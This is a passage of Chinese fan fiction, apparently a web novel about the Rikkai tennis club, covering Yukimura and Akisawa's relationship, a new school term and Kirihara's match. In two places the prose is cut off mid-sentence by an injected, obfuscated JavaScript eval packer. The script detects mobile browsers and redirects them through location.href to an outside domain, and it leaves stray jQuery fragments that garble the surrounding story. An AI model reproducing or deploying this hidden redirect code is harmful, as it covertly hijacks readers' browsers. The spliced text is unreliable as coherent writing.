柳莲二猛然意识到一件事:这不会也是精市设计好的吧? 但还是好奇怪。 数据不足……想不明白…… 他想的出神,自然没注意到自己落在幸村精市身上的视线太久了,久到不远处的二人的交谈声逐渐减弱、消失,久到他对上了一双含笑的紫色眼睛,才恍然发觉到自己走神了。 柳莲二按了按眉心:“抱歉……我想事情有些出神了。” “没关系。”幸村精市状似无意地伸了伸手臂,去旁边取他自己的网球袋,顺势遮蔽住了秋沢栎的视线。 在柳莲二看过来的时候,他轻轻笑了一下,空着的手竖起了一根手指放在唇前,对他比了一个噤声的手势。 “保密哦。” 刚好看得一清二楚的柳莲二:…… 眯眯眼的少年深吸了一口气。 保什么密?保你们之间的密?这个不需要了吧,整个网球部里长眼睛的人都能看出来你们之间黏糊到能起粉色泡泡,连真田弦一郎都快察觉到不对劲了,还用得着他还保密吗? 柳莲二默不作声地挪开了眼。 秋沢栎的视线被幸村精市遮挡了一瞬,没看见他的动作。不过他比较敏锐,扫了一眼状似很正常的柳莲二,就看出来了刚刚应该是发生了什么他不知道的事。 但他狐疑的视线刚起,就被颈后传来的轻柔的触感唤回。 幸村精市淡定地捏了捏他的后颈,问道:“待会训练结束是想去试试附近新开的寿司店,还是去吃前几天发现的那家拉面呢?” 秋沢栎被抓住命脉,转回视线,开始认真思考:“嗯……拉面吧。” 不会做饭并且不准备请家政的他估计还能吃很长一段时间的速食饭团便当,虽然自己在口味上没什么偏好,但是既然现在有选择,将来能陪伴他很久的米饭还是排在倒数比较好。 幸村精市点了点头,记下了这件事,转身宣布今天训练结束。 队友们依次去休息室内洗澡换衣服,柳莲二犹豫了一下,还是喊住了幸村精市:“精市,能过来一下吗?今天训练的数据……” “没问题。”幸村精市示意秋沢栎稍等他一下,就与柳莲二拐入了旁边的会议室。 手里拿着笔记本的少年先简单的分析了各个队友身上的优缺点,以及接下来的训练建议,才在对方沉思的神色里犹犹豫豫地问道:“精市,你……” 幸村精市回过神:“嗯?” 柳莲二犹豫了一下,还是摇了摇头:“没什么。” 幸村精市笑了笑,他知道自家好友想说什么,开口宽慰道:“放心,我知道自己在做什么。” 无非是察觉到了二人之间奇怪的氛围想开口提醒,但他们从‘初次见面’的那一瞬,前世今生的纠葛就注定了彼此的关系不会像普通的恋人那样,沿着通俗的轨迹前进。 所以,幸村精市倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551598|171243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没觉得有什么。 既然当事人都这么说了,柳莲二也没什么能嘱咐的了,他拍了拍幸村精市的肩膀,转身出去了。 幸村精市独自站在屋内,对着面前的白板发了会呆。 他知道在一墙之隔的地方,秋沢栎正静静的等候在那里,隔着相近的距离,与他共享一片空气。 这个认知让他不自觉地恍然了一瞬。 如果按照前世发展的轨迹来看,他们一个运动员,一个医生,都是忙碌且不定居的职业,按理说见面的日子应该并不多。 但恰恰相反,他们之间拥有的相处时间反倒比一般的伴侣还要久一些。 这归功于秋沢栎锲而不舍的追随。 二十五岁的幸村精市会为了比赛满世界的飞,那么二十四岁的秋沢栎无论多忙、手术有多累,都会一场不落的抵达现场,凭借着家属的身份站在通往赛场的走廊里,在那个阴影处,站在距离他最近、也是最远的地方待着。 他对比赛没有兴趣,他感兴趣的从来只有幸村精市一个人。 幸村精市不是没跟他吵过架,自家恋人拖着一副明显已经抵达极限的身体陪他满世界乱飞,迟早有一天会受不了的,可向来不会拒绝他的秋沢栎在这件事上倒硬气的很,不管怎么说都咬死了不改口。 他知道秋沢栎很黏他,平日里难得的空暇时间后者都像一只大型挂件一样挂在幸村精市身上,走到哪跟在哪,什么也不用做,好似只是听着对方平稳的呼吸声,就能驱除掉他一夜的噩梦。 秋沢栎面对幸村精市的时候,一向是将“独立”这两个字从字典里扣出来的。 所以,他现在不过是做了之后会做的事而已,有什么不对的吗? 幸村精市从来没想过他们这辈子有不在一起的可能性,虽然表面上看着温温润润,但实际上,能在立海大这种强者为尊的学校坐稳三年部长之位的人,骨子里又怎么可能没有点强势呢? 在十一岁的秋沢栎完全没有拒绝他的靠近、甚至伸出手邀请他时,幸村精市就知道,他这辈子不可能再放他走了。 “久等了。” 未来的大满贯得主背好自己的包,推开会议室的门,夕阳斜斜地洒落下来,落到蹲在门外的少年身上,为白发渡上了一层轮廓。 秋沢栎听见了声响,抬起头来,一双被无机质的冷漠充斥的眼,在落到幸村精市身上时尽数化为温柔的笑意,天宽地大,只容纳下了他一个人。 谁能拒绝这份来自爱人的独一无二的偏爱呢? 幸村精市朝他伸出了手,藏住心底的想法,微微一笑:“我收拾好了,走吧。” 一双带着凉意的手搭了上去,于是温度便在他们之间传递。 “先去剪头发吧?那家拉面店就在旁边哦。” “没问题。” “要先想想吃什么吗?一碗拉面再搭配上鲜榨果汁?要橙汁还是苹果汁?” “橙汁吧,永远不会踩雷的……” …… 秋沢栎一边应着幸村精市的话,一边不动声色地瞥了一眼明显比先前更高兴了一些的少年,脑子微微一转,就将原因锁定在了他与柳莲二之间的奇怪氛围里。 不过,无所谓。 他摩挲了一下兜里的纸页,歪了歪脑袋。 既然是能让他心情变好的东西,不去探究也没问题。 实际上,如果这个问题摆在秋沢栎面前,他的回答大概是:幸村精市‘利用’自己的本事还不到家。 如果换成另一个普通人在这里,那点子小技巧应该很快就被识破了,更别提他曾经被横滨中最擅长这类事物的人,与最聪慧的侦探教导过一段时间。 只不过无所谓而已,一切都无所谓。 他永远无法拒绝幸村精市。 在少年第一次出现在他面前的时候,他就察觉到了这件事,无论是来自于灵魂深处的亲昵还是不受控制的身体,这份无法解释的感情都促使着秋沢栎忍不住再靠近对方一点、再近一点、近到这个谜题彻底被解密。 那份继承于父亲的、对于未知的渴求很好的遗传给了他,此刻,正在驱动着他去探求这份莫名的感情中的答案。 所以,无论怎么样都好,再靠近一些吧。 少年握着幸村精市的手偷偷翻转了一下,将指节挤入对方的指缝之中,在他投来疑惑的目光时露出了一个毫无破绽的、温和的笑容。 毕竟,他是自愿的嘛。 8. 第 8 章 四月出头,在日本的樱花开得正好之际,幸村精市也随之升入二年级。 清晨,蓝紫发的少年照例在玄关处换好鞋子,背上自己的网球包,朝厨房里的妈妈打了声招呼就迫不及待地走出大门:“我出门啦——” 幸村妈妈温温柔柔地笑道:“路上小心,精市,新开学的第一天要开心哦。” 幸村精市挥了挥手示意自己听见了,而后轻车熟路地左拐,从兜里摸出一枚钥匙打开那扇铁栅栏一样的门,摸了一把在花园里连打哈欠的黑猫,略微扬了声音喊道: “阿栎还没收拾好吗——” 黑猫甩了甩尾巴,在心里吐槽昨晚熬了个大夜的秋沢栎不知道什么时候能睡醒…… “已经收拾好了哦。” 下一秒,门咔嚓一声打开了,秋沢栎精神奕奕地出现在幸村精市面前,套了一身崭新的、属于立海大的校服。 墨绿色的制服套在他身上,柔软的白发随意的耷拉在一旁,脸颊还带着点未褪去的婴儿肥,衬得人更加可爱了点,属于是带出去就能用外表欺骗姐姐阿姨奶奶的程度。 幸村精市越看越没忍住,不自觉地将罪恶的手挪到了秋沢栎的脸上轻轻捏了一把,柔软的触感自指尖反馈到大脑时,给他原本就愉快的心情添了一分姿色。 是的,幸村精市今天很高兴。 原因自然是从今天起,立海大正式迎来了新学期,成功入学的秋沢栎从今天起就成了他的后辈,往后他们就可以每天形影不离的上下学了。 这也算是满足了他未来没法实现的一个小心愿了,毕竟谁没有幻想过所谓“从校服到婚纱”的桥段呢? 秋沢栎不知道幸村精市在想什么,他只是乖顺地站在那里任人蹂躏,甚至在幸村精市抽回手之后还投去了一个疑惑的眼神,意思很明确:捏够了吗?不够的话还可以再捏一会。 可爱过头了。 幸村精市遗憾地收回手,花了好大力气才压制住自己的冲动,毕竟再捏下去可能就没完了:“走吧,阿栎。” 白发的少年将塞满了速食食品的便当盒塞进包里,状似无意地向下一瞥,黑猫便自觉的跳入通行包里。 “走吧。” 他笑了笑,和幸村精市一前一后迈出院子,朝着立海大走去。 从现在起,他就是立海大的一年级生了。 “分班名单会贴在布告板上,班级分布图我已经发给你了,如果找不到记得给我打电话,网球部你知道在哪的,放学之后……” 走在熟悉的路上,幸村精市看起来比刚入学的秋沢栎还要紧张一点,不住地叮嘱着一些注意事项,看起来像操碎心的好家长。 而站在他身旁的少年却丝毫没有初入学的激动,他眨了眨眼,没有出声制止,只是一味地点头。 来自别人、尤其是幸村精市的关心对他来说是绝对无法拒绝的事。 一人说一人听,这段通往立海大的路似乎也在其中缩短了不少,直至抵达校门口,秋沢栎要去领签到表,到了二人不得不分开的时候,幸村精市还有些担心:“你自己可以吗?” 虽然记忆有些久远了,但他隐约记得立海大开学第一天是允许父母陪同报道的,因此此刻出现在这条路上的家长并不少,显得没有父母陪同的阿栎有些可怜。 “我已经不是小孩子了。” 从小学一年级开始就独自入学毕业、上课下课,极其独立的秋沢栎无奈地说道:“精市,不用太担心我。” 明明是同辈,怎么感觉他紧张过头了呢? 有着二十五岁的灵魂的幸村精市帮他捋了捋柔软的白发作为回答。 二人在校门口告别,幸村精市直接去班级,秋沢栎则独自去新生报道处领取签到表。 在包里闷了一路的黑猫不知什么时候堂而皇之地爬到了他的肩膀上,懒洋洋地说道:“恭喜成为国中生啊,你昨晚不会通宵了吧。” “这个不重要。”白发少年捏着那张纸,打开手机瞥了一眼幸村精市发来的班级分布图。一年级与二年级的教室在一栋楼内,只是在不同的楼层而已。 挺好的,虽然因为年级的差距,他们不可能分在一个班级了,但是最起码彼此的距离不算很远,午饭可以在一起吃,放课后说不定也能结伴去网球部呢。 秋沢栎满意地关上了手机。 向来以独立自由标榜的阿栎没发现他正向着前世的脚步进发,这两个词逐渐被他从字典里扣出去扔远。 一个习惯的养成需要二十一天,他搬来神奈川也不过刚刚二十一天,但不知从何时起,他好似早已习惯了在其中融入另一个人的身影。 毕竟,如果放到以前,他的视线是不会在别的事物上停留半秒以上的,更不会在意午饭有没有人陪,放课有没有结伴……这些琐事的。 黑猫将这一切看得一清二楚,它无语地用尾巴扫了扫秋沢栎的脸:“我说,你有些太粘人了。” “……” 秋沢栎难得哑声。 毕竟这是事实。 “为了保证结果的合理性,我当然要经常观察他了。” 片刻后,他给自己找了个理不直气也壮的理由:“你懂什么,志保姐做实验不也是一天二十四小时待在实验室。” “那也不至于特地改出一个空房间作卧室,就为了一拉窗帘就能看见人家的房间吧。” 秋沢栎:…… 他面无表情地捏住黑猫的嘴:“你话太多了,闭嘴,我有我的节奏。” 黑猫试图挣扎,正准备大声喵喵叫的时候,就听见从背后传来的一道洪亮的喊声: “在全国第一的网球部中,我也要成为第一——!!!” 秋沢栎:? 他的手一松,一人一猫不自觉地转头看去,目光落在嚣张地站在校门围墙上说出极其嚣张的话的海带头少年身上,锁定了他话里的两个关键词。 网球部,第一。 秋沢栎捏着猫脸的手顿了顿,目光转向二年级所在的楼层,他记得教学楼离校门口并不算远。 也就是说,刚走出去不远的幸村精市肯定听得到。 “有意思。” 秋沢栎慢悠悠地收回了手,将另一只手里报道表折了折,塞进兜里,瞥了一眼被门卫大声呵斥的少年,露出了一个笑容:“希望他真的有那种实力吧。” 老是跟柳莲二他们比赛,他也会觉得腻的。 * 开学第一天,为了让这群刚从国小升上来的学生们适应国中生活,学校贴心的没安排什么课程,只是让各科老师简单做了一下自我介绍,就由班主任为他们讲一些有关于校纪校规等需要注意的事情。 这些繁琐的规则太多,因此老师们大多只是走个过场,毕竟面对他们这些普通学生,这些东西很少有派的上用场的时候。 如果遇到了那些真正重要的纪律啊规制啊,那么老师自然会再三强调的。 因此,秋沢栎听了一半就理直气壮地犯起困来,他的目光径直落在身前的少年身上,看着他卷卷的海带脑袋开始发呆。 值得一提的是,在班级里进行过自我介绍之后,他终于知道了那位在门口发表激情宣誓的少年叫什么了。 在班主任慷慨激昂的演讲中,秋沢栎摸出手机 ,偷偷摸摸的给幸村精市发消息:[精市,你知道切原赤也吗?] 幸村精市回复的很快,估计也是因为老师的演讲太无聊了而开始摸鱼:[切原赤也?怎么会突然提到这个名字?] [难不成你们分到了一个班吗?] 秋沢栎躲在犯瞌睡的切原赤也背后,从桌兜里将手机抬起了一半,恰巧在老师不会发现的地方拍了张照片:[海带后脑勺jpg] 幸村精市:[……] 幸村精市:[小心一点,你们的班主任是出了名的负责和严厉,别被他抓到了。] 幸村精市:[切原赤也,我知道,今天早上在校门口大放厥词的就是这孩子吧。] 秋沢栎:[放心,不会被发现的。] 秋沢栎:[是哦,不知道实力怎么样。不过,敢在大庭广众之下说出那种话的人,我想,应该不会太无聊吧。] 幸村精市:[下课后比一场就知道了,既然都说出这种大话了,这孩子一定会去网球部的。] 秋沢栎:[也是。] 在二人密谋期间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551599|171243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐在他前面、此刻正睡得迷迷糊糊的切原赤也猛得打了个激灵,突然感觉被什么东西盯上了,像一坨黏糊糊的史莱姆一样趴在了他身上。 是错觉吧? 少年警惕地扫视了一圈,没发现有什么不对的,就在讲台上班主任的死亡凝视下继续进入梦乡。 他刚刚可是梦见了自己在这所被誉为全国最强的学校中,将他们的网球部成员全部打赢了呢!在还差一步就能成为部长的时候突然被吓醒,就像是读一本小说到最期待的时候作者突然断更了一样的令人难受。 坐在他背后的秋沢栎瞥了一眼讲台上脸色逐渐黑沉的班主任,默不作声地将手机收了起来,在心里静数:一、二、三…… “切原君。” 带着黑框眼镜的中年班主任咬牙切齿的喊了一声切原赤也的名字,他身为整个年级的主任兼这班的班主任,此刻看着已经陷入睡眠的海带头少年,在心里不断安慰自己刚开学刚开学新学生……才勉强维持了一点理智:“不要在课堂上睡觉好吗?” 切原赤也不语,只是一味的沉入梦乡。 班主任:…… “我知道你们都听得很无聊。” 班主任老师强行让自己挪开目光,恢复了正常的面色,“那老师就不说这些长篇大论了,直接进入正题吧。” 这一句话让班里的学生们期待了起来,毕竟,比起这些琐碎的规则来说,前方未知的事情才更让人有探究的欲望。 秋沢栎叹了口气。 有时候,未知可不代表有趣。 班主任老师看着台下明显精神了一点的学生们,终于露出了满意的笑容。 他笑眯眯地将手伸进讲桌,这大家期待的目光中——掏出了一沓试卷。 “既然大家不愿意听我啰嗦,那我们直接开始摸底考试吧。” 坐在下面的学生:? 在班主任走进来的一瞬间就看见他手里的试卷的秋沢栎:果然。 看着台下一片哀嚎遍野,班主任终于大出了一口恶气,笑眯眯地说道:“今天没有课哦,考完当场出成绩,希望大家多多努力。” 未知的前方,那可是深渊啊。 * 考试结束后,秋沢栎如愿拿到了与自己设想里分毫不差的成绩单。既不会高到离谱,也没有挂在及格线边缘,与班里的大多数学生维持了在同一水准,这让他很满意。 太突出了会被老师重点关注,这不是他的本意。 放学之后,各个社团就开始招新了,想到柳莲二在开学前准备的厚厚厚厚一沓入部申请书,秋沢栎将极为平均的试卷随意的塞进包里,准备前往网球部看看有什么能帮忙的。 也就在这时,他看见了切原赤也桌面上整齐排开的一堆试卷,试卷的主人正在对着他们挠脑袋。 秋沢栎:…… 不是,为什么会有人科科都没考及格啊? 坐在他前面的切原赤也不知道自己的后桌在思考他的智力到底有多少以及到底是怎么考入立海大的问题,他抓了抓头发,心大地将试卷全部塞回桌兜里:“终于可以去网球部了!!比赛!踢馆!!” 刚准备离开的秋沢栎脚步顿了一下。 踢馆? 有意思。 他转过身,朝切原赤也打了声招呼:“切原君,你是要去网球部吗?我们一起吧。” 切原赤也大喜过望:“欸,太好了,你也会打网球吗?” 秋沢栎拐出门,应声道:“会一点。” 切原赤也抓着自己的包,两步追上他:“是吗?那等我挑战完网球部之后和我比一场吧!” “我很期待。” 秋沢栎边回应他边不动声色地带着切原赤也绕了一条路,隔着一栋楼的距离,他看见了气冲冲朝着教室走去的班主任。 可以预见,如果不是他及时将切原赤也带离教室,后者肯定会被怒火上头的班主任教育一段时间。 那就浪费他去挑战网球部的时间了。 秋沢栎瞥过没有丝毫察觉的切原赤也,在心里笑道:这么有意思的事,当然不能受到半点阻碍啊。 切原君,我可是很看好你的。 9. 第 9 章 有了秋沢栎的带路,切原赤也成功抵达网球部,没有发生‘迷失在人生的道路上’这种事。 身为去年的全国大赛冠军,连续十四年的关东大赛冠军,立海大网球部的实力毋庸置疑,这也导致了无论是出于倾慕、好胜还是什么原因,每逢网球部招新,人数向来是最多的。 尤其是自幸村精市带领着这支队伍拿下全国大赛冠军之后,来递交申请书的人相比之前几乎翻了个倍。 切原赤也大为震撼地看着面前完全完全挤不进去的人墙,有些茫然:“这里人好多啊……” “毕竟是网球部一年一度的招新。” 秋沢栎一眼就看见了在部里忙碌到有些焦头烂额的丸井文太和杰克桑原两人,又瞥了一眼身侧毫无所觉、正在试图挤进去看热闹的切原赤也,决定拯救一下这两个倒霉蛋前辈。 “现在看来好像挤不进去呢,切原君,你要先和我比一局打发打发时间吗?” 切原赤也回过头,欸了一声:“这是个好主意!现在完全完全进不去嘛!!” 切原大魔王的挑战之路截还没开始就被人堆给拦截了,这个时候就要稍微刷一下小怪给自己积攒一些经验,好应对接下来的boss战嘛!! 就当热身了! 小怪秋沢栎不知道自己在切原赤也那只是个小怪,他正在给幸村精市发消息:[精市,我先把切原赤也带到空球场了,现在社团招新人挺多的,用比赛稍微拖他一下。] 幸村精市回复很快:[辛苦你了,我刚刚结束这边的事,正在过去。] [那孩子有些傲气,但天赋很不错,稍微注意一下分寸吧,玩得开心哦^ ^] 秋沢栎笑了一声,回复道:[好。] 满脑子只有网球的切原赤也完全没意识到秋沢栎对这里熟悉过头了,二人沿着铁丝网向前走了几步,带着他拐了又拐之后,神奇的停在一个空球场前。 作为曾为立海大拿下无数荣誉的网球部,无论是按下发的资金还是占地面积来看,它在所有社团中都是首端。也因此,虽然主球场那边被庞大的新生给占据了,但如果只是从犄角旮旯里找到一个没人打扰的球场的话,还是很轻松的。 “就在这里吧。” 秋沢栎停下了脚步,将包放在一边,顺手抽出了自己的球拍。 切原赤也非常兴奋,也学着他的动作将球袋堆在一旁,语气狂傲:“在网球这一方面,我可是最强的,绝对绝对不会留手的哦,如果输了的话,你可不要哭鼻子!” 秋沢栎手一顿,似乎没被他的挑衅给影响,只是眼里的温度褪去了许些,一双泛着淡淡暗色的眼睛直直地落在切原赤也身上。 “是吗?” 他的唇角微微勾起一个没有笑意的弧度。 “我拭目以待。” * 另一边。 幸村精市回复了秋沢栎之后便将手机收起,在心里轻笑了一声,觉得今天可能不用像前世那样三巨头轮流上场,给小后辈爱的教育了。 切原赤也的性格他太熟悉了,熟悉到他几乎都能猜到在面对实力未知的秋沢栎时,这小子会露出怎样一副嚣张的样子。 希望小后辈能撑到他们赶过去吧。 一旁的柳莲二合上笔记本,转头说道:“……这样就结束了。” 真田弦一郎压了压帽檐:“那我们快走吧,今年的招新还是需要人坐镇。” 负责整个网球部事宜的三巨头因为各自的事情耽搁了一点时间,不知道社团那边情况怎么样了。 “招新是文太和杰克在负责吧。”柳莲二背好网球包,说道:“还有三年级的前辈们帮忙,应该不会有太大问题。” 幸村精市笑道:“不,大概会有刺头,莲二。你忘了今天早上校门口那个孩子吗?” 虽然这个小后辈哪怕长到了二十多岁也没有改掉他嚣张的性格,但幸村精市在校门口见到尚且稚嫩、年轻气盛的切原赤也时,仍然会觉得新奇。毕竟,相比较十几岁来说,以后的他到底还是沉稳了不少呢。 ……大概吧。 最起码输了比赛不会再哭着跑走了。 “那倒是个很不错的愿望。”柳莲二神色不动,轻描淡写地说道:“如果不抱着一定要成为no.1的想法的话,又怎么配得上我们立海大呢?” 他们可是立下了全国三连霸的目标,与王者的实力相匹敌的,总不会是谦逊到谦卑的脾气吧? 况且,他们最不怕的就是刺头了,毕竟,论刺头谁能比得过刚入学就将三年级的前辈拉下部长之位的幸村精市呢? 真田弦一郎抱着胳膊:“希望他有这份能支撑他说这种大话的实力,不然,一切都只是嘴上功夫而已。” 幸村精市一挑眉,转头向外走去:“那我们走快点吧,说不定……” 赶快点,说不定还能收上海带尸呢。 * ——“砰!” 切原赤也气喘吁吁地扶着膝盖,大滴大滴的汗水在阳光的照耀下被蒸出,网球化为一道黄色的光线擦过他的脚边。 这个球的球路太简单了,没什么技巧,也没什么弯折,明明只消一瞬就能判断出落点,但他的膝盖已经沉重到完全提不起来去追赶球的程度,只能任由球落在他的背后。 该死……好强…… 他的目光一眨不眨地落在对面始终没什么表情的秋沢栎身上,白发的少年一双眼里没有任何情绪,甚至压根没有倒映出属于他的身影,只是漠然地掌控着这局比赛。 切原赤也磨了磨牙。 猫戏耍老鼠还会露出戏谑的表情呢,这家伙是完全没将和他的比赛当一回事吧?! “还要继续吗?切原君。” 秋沢栎握着球拍,语气也淡淡的:“你应该没什么体力了吧。” “谁说的?!我还能打!!” 最受不了了这种话的切原赤也费力站直,咬牙道:“我是绝对、绝对不会输给你的!!继续啊!” “唉。”秋沢栎甩了甩手腕,由衷地觉得有些麻烦:“我明明只是想看热闹来着……” 他只是单纯的想看在开学第一天就在这么多人面前放出豪言壮语的切原君勇闯网球部啊,怎么现在演变成了自己被缠上了啊。 秋沢栎在认真的反省自己:他就不该起那点所谓的怜悯之心,说不定让切原赤也挨班主任一顿批之后再去网球部时间会刚刚好呢,或者大不了就是丸井文太和杰克桑原脑袋上多出一个“维持不好部内纪律”的锅,然后被真田弦一郎骂一顿—— 这个还是算了,看在丸井文太热衷于投喂自己小蛋糕的份上,还是放过他吧。 实际上,被切原赤也拽着不让走完全是秋沢栎自己的锅。 幸村精市知道秋沢栎的脾气,出于对未来的小后辈的关爱之情,在比赛前就提前叮嘱过他注意分寸、手下留情,别真的给人打到崩溃了,再加上他的主要目的是尽可能拖延时间,拖到网球部招新人没这么多,或者幸村精市他们赶来。 因此,他选择的打法是控制。 控制比赛,控制切原赤也,控制打出去的每一个球都是对方看似努努力就能赶上、但就是回击不了的程度,给他一种绝望、但挣扎挣扎好像还能打回去的希望,就这样水灵灵地将他的体力消耗到底。 所以,被缠上也是理所当然的。 “为什么不发球了,你是要认输吗?!” 切原赤也本就因接不到球而极其烦闷,在这场比赛里,好似一直有一只无形的大手将他死死压在那里动弹不得。 秋沢栎瞥了他一眼,又叹了口气:“饶了我吧……” 切原赤也在看见对方毫无动作之后更是怒气翻腾,精神力也蠢蠢欲动着试图突破理智的禁锢,一抹红色染上他的眼眶:“喂?!你什么意思啊!” “嗯?” 秋沢栎敏锐地发现了他的变化,目光落在他隐隐有些变红的眼睛上,眉头微微一蹙:“切原君,你有什么疾病吗?” 天地可鉴,这句话不是在骂人,他只是很疑惑怎么会有人打球打着打着急眼了呢? 当然,这个急眼是物理意义上的。
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那是一股毛毛糙糙的精神力,像是张牙舞爪的怪兽,只能遵循本能行动。 幸村精市有些讶异地挑了挑眉,喃喃道:“也就是说,他在进入红眼状态时五维会突然加强,是因为精神力的作用?与天衣无缝的原理差不多吗?” 柳莲二瞥了一眼幸村精市,他怎么不知道他的同伴还认识这个新生。 秋沢栎点了点头:“对,不过,今天可能见不到了。” “?” 众人的疑惑还没起,就见他的话音刚落,对面的切原赤也那双眼睛迅速褪去原先的红色,转换回平时的颜色,直接生生的被打断了大招。 憋的脸都红了的切原赤也:…… 他刚想说什么表达一下自己的疑惑,结果一抬头就看见了已经转过身的秋沢栎,跳脚道:“喂!!你怎么走了?!我们的比赛还没结束吧!!” “抱歉,不想比了,反正再打下去你也赢不了。” 虽然没有人计分,但切原赤也迄今为止还没能从他手里拿下一分,这件事海带脑袋本人也是知道的,再比下去也没什么意义。 更何况,管事的人都来了,秋沢栎也觉得没必要再浪费时间了。他毫不走心地敷衍了一声,将球拍夹在胳膊下,直奔场边的幸村精市而去。 走到一半,他似想起来什么一样,说道:“不过,与我站在同一片球场内时,最好不要使用精神力。” 至少在面对“超出科学范畴”的能量这一方面,他是行走的抑制器,不分敌我。 异能力是,精神力也是。 幸村精市顺手捏了捏他的脸,听见这句话之后眼里闪过一丝疑惑:“但是和你比赛时,我的精神力是正常生效的吧。” 别的不说,他的Yips是绝对的精神力招式,但他在与秋沢栎比赛时,完全没有察觉到什么异样。 秋沢栎下意识蹭了蹭他的掌心,柔软的脸颊与一部分发丝落在他的手掌,像只正在撒娇的猫。 “因为你是不一样的。” 他从不对幸村精市设防。 “……” ……真是犯规啊。 幸村精市眼一颤,心弦好似猛得被什么东西拨动了一瞬,弹奏起奇妙的旋律,他便也随即缓缓展露出了一个笑容,连周遭的风也黯然失色。 秋沢栎看呆了,眨了眨眼,被幸村精市捏了捏后颈之后老老实实地垂下脑袋任人蹂躏,只能从碎发中隐约看出少年红了一片的耳根。 这个时候又这么容易害羞了? 幸村精市见状,笑容更灿烂了。 一旁被无视了个彻底的一众正选和切原赤也:…… 他们觉得自己不用吃晚饭了,就像路过的一条狗莫名其妙被踹了一脚。 10. 第 10 章 秋沢栎已经下场了,比赛自然没法继续,作为被踹的狗之一的切原赤也也不需要再硬撑了,他累得一屁股坐在地上,愤怒地注视着少年的后背,好像这样就能将他盯出一个洞来。 秋沢栎被幸村精市摸了摸脑袋以作安抚,转过去看他的眼神里带了一点温度,也稍微带了一点耐心:“切原君,现在网球部的正选基本上都在这儿,你不是随身携带着那张报纸吗?去找更值得挑战的人比赛吧。” 这句话一听,他想祸水东引的意图就十分明显了。 咋这样?! 丸井文太谴责的视线啪地一下落在了他身上:你的对手怎么能引给他们呢?! 秋沢栎:这怎么能怪我呢,他本来就是去找你们的啊。 他早就看见那张被切原赤也揉得皱皱巴巴随意塞进兜里的报纸了,上面赫然是去年立海大拿下冠军之后的采访报道。如果不是他横插了一脚,估计面前这个海带脑袋已经大摇大摆的去立海大网球部宣战了。 现在让一切回归正轨有什么问题吗? 不过可惜,他祸水东引失败了,切原赤也完全没上当,他大声道:“但是我还没赢过你啊——等等,原来你不是正选吗??” 秋沢栎:…… 他沉默了一瞬,脱口而出:“你是不是……” 话说到一半,眼角余光便扫过了站在一旁的幸村精市,他紧急将台词换了一遍,和善地说:“你是不是傻……傻过头了,切原君,我记得,我们是一个班的。” 同为一年级新生,他也是和切原赤也一样没名没分的好吗?甚至因为要拖时间,他到现在连入部申请书都还没交呢!!! 站在一旁的丸井文太扶额:阿栎,刚刚是想直接骂这家伙是不是傻子的吧。 切原赤也抓了抓脑袋,因为秋沢栎对网球部以及这些正选前辈们太过熟悉了,让他下意识忽略了这家伙其实也是一个新生的事实…… “那更要打败你了啊!!”他呲溜一声从地上爬了起来,“连同辈都还没能打败,怎么打败前辈呢?!!” 打游戏就要一关一关的打嘛,越级挑战的话如果没有百分百的准备,可是很容易被揍回重生点的! 秋沢栎:…… 他怎么突然有了一种以后的日子不会很好过的感觉呢? 错觉吧。 他转身将球拍塞进包里,面无表情地从兜里摸出来一张纸条,啪地一下按在今年的负责招新的丸井文太手里:“给,我的入部申请书。” 切原赤也在他背后喋喋不休:“什么啊?你怎么会有入部申请书?我们不是一起来网球部的吗?” ……这不是也想起来了原来我们是一起来的吗?而且白天刚上任的班长不是也发了社团意愿申请表吗?! 白发少年额头跳了跳。 幸村精市看热闹看够了,安抚地摸了摸秋沢栎的脑袋,忍笑道:“切原君,入部申请书在文太那,你想要加入网球部吗?” 丸井文太顶着一头标志性的红毛笑眯眯地朝他挥了挥手:“哈喽。” 切原赤也抓了抓乱糟糟的脑袋,看了一眼头也不回的秋沢栎,用力地点了点头:“当然!” 一个连正选都不是的人实力就已经这么强了,那只要跟着这支队伍,然后打败他们所有人,他一定能实现全国第一的野望吧!! 加入!他要加入!他要当第一!!!! “那么,登记的事就交给文太了,待会收拾收拾记得来训练。” 幸村精市抱着胳膊,朝他点了点头,随即转过身去,披在肩上的外套也随之在风中扬起,阳光斜斜落在这群少年身上,像是为王者拢上了一层加冕的荣誉—— “欢迎加入立海大,切原赤也。” “我们的目标,是全国三连霸。” * 切原赤也在填写了入部申请书之后,就正式开始了自己水深火热的生活。 有上一世记忆的幸村精市自然很清楚红眼模式造成的高血压对于切原赤也的身体伤害有多大,此刻无法控制的短期爆发,到最后牺牲的都是长期作战的能力,因此这一次,他在和柳莲二、真田弦一郎商量之后,有意控制着他以求在最大限度内减少他的红眼。 他们选择的方式同样简单粗暴,打断。 切原赤也甚少在比赛之外露出这种模样,所以他们的关注点更多放在比赛内。相比较前世来说,在幸村精市的默许下,切原赤也的日常训练里多出了一条——与三巨头比赛,一旦控制不住自己的情绪,比赛就会立刻被叫停。 于是,切原赤也这几天非常郁闷,非常非常的郁闷。 在刚兴奋起来的时候就被人当头泼了一盆冷水的感觉,就像他这一局游戏刚打出了完美操作准备拿一个happy end的时候老妈走进来把他的电断了一样的郁闷。 而且,他不但在家里没法反抗老妈,在学校他也打不过这三个人,完完全全成了食物链底端呢。 小切原赤也的生活就在奋起反抗——镇压——奋起反抗——镇压中度过了整整一周。 